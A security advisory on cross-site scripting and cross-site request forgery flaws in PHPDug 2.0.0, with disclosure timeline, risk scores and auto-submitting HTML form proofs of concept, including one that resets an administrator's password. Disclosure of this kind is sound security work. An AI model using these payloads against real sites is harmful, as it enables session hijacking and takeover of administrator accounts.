Total Tests:

Multiple Vulnerabilities in PHPDug

Advisory ID:HTB22970
Product:PHPDug
Vendor:Kubelabs.com
Vulnerable Versions:2.0.0 and probably prior
Tested Version:2.0.0
Advisory Publication:April 21, 2011 [without technical details]
Vendor Notification:April 21, 2011
Public Disclosure:May 5, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in PHPDug which could be exploited to perform cross-site scripting, cross-site request forgery attacks.

1) Cross-site scripting vulnerabilities in PHPDug
1.1 The vulnerability exists due to input sanitation error in the "story_url" parameter in add_story.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/add_story.php" method="post" name="main">
<input type="hidden" name="story_url" value='http://www.example.com/"><script>alert(document.cookie)</script>'>
< input type="hidden" name="Submit" value="Continue">
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to input sanitation error in the "email" parameter in editprofile.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/editprofile.php" method="post" name="main">
<input type="hidden" name="email" value='email@example.com"><script>alert(document.cookie)</script>'>
<input type="hidden" name="commentst" value="-4">
<input type="hidden" name="Submit" value="Save Changes">
</form>
<script>
document.main.submit();
</script>

1.3 The vulnerability exists due to input sanitation error in the "title" parameter in adm/content_add.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/adm/content_add.php" method="post" name="main">
<input type="hidden" name="id" value="999">
<input type="hidden" name="title" value='page"><script>alert(document.cookie)</script>'>
<input type="hidden" name="contentvalue="content">
<input type="hidden" name="Submit" value="Submit">
</form>
<script>
document.main.submit();
</script>

1.4 The vulnerability exists due to input sanitation error in the "username" parameter in adm/admin_edit.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/adm/admin_edit.php" method="post" name="main">
<input type="hidden" name="id[1]" value="1">
<input type="hidden" name="username[1]" value='admin<script>alert("XSS")</script>'>
<input type="hidden" name="password[1]" value="">
<input type="hidden" name="Submit" value="Submit">
</form>
<script>
document.main.submit();
</script>


2) Cross-site request forgery (CSRF) vulnerabilitiy in PHPDug
The vulnerability exists due to insufficient validation of the request origin in adm/admin_edit.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://host/adm/admin_edit.php" method="post" name="main">
<input type="hidden" name="id[1]" value="USERID">
<input type="hidden" name="username[USERID]" value="Admin">
<input type="hidden" name="password[USERID]" value="test123">
<input type="hidden" name="Submit" value="Submit">
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22970 - https://www.immuniweb.com/advisory/HTB22970 - Multiple Vulnerabilities in PHPDug
[2] PHPDug - kubelabs.com - PhpDug is an open source social news website where users can share stories, news, and images.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a technical question?

Our security experts will answer within
one business day. No obligations.

Have a sales question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
Your data will stay private and confidential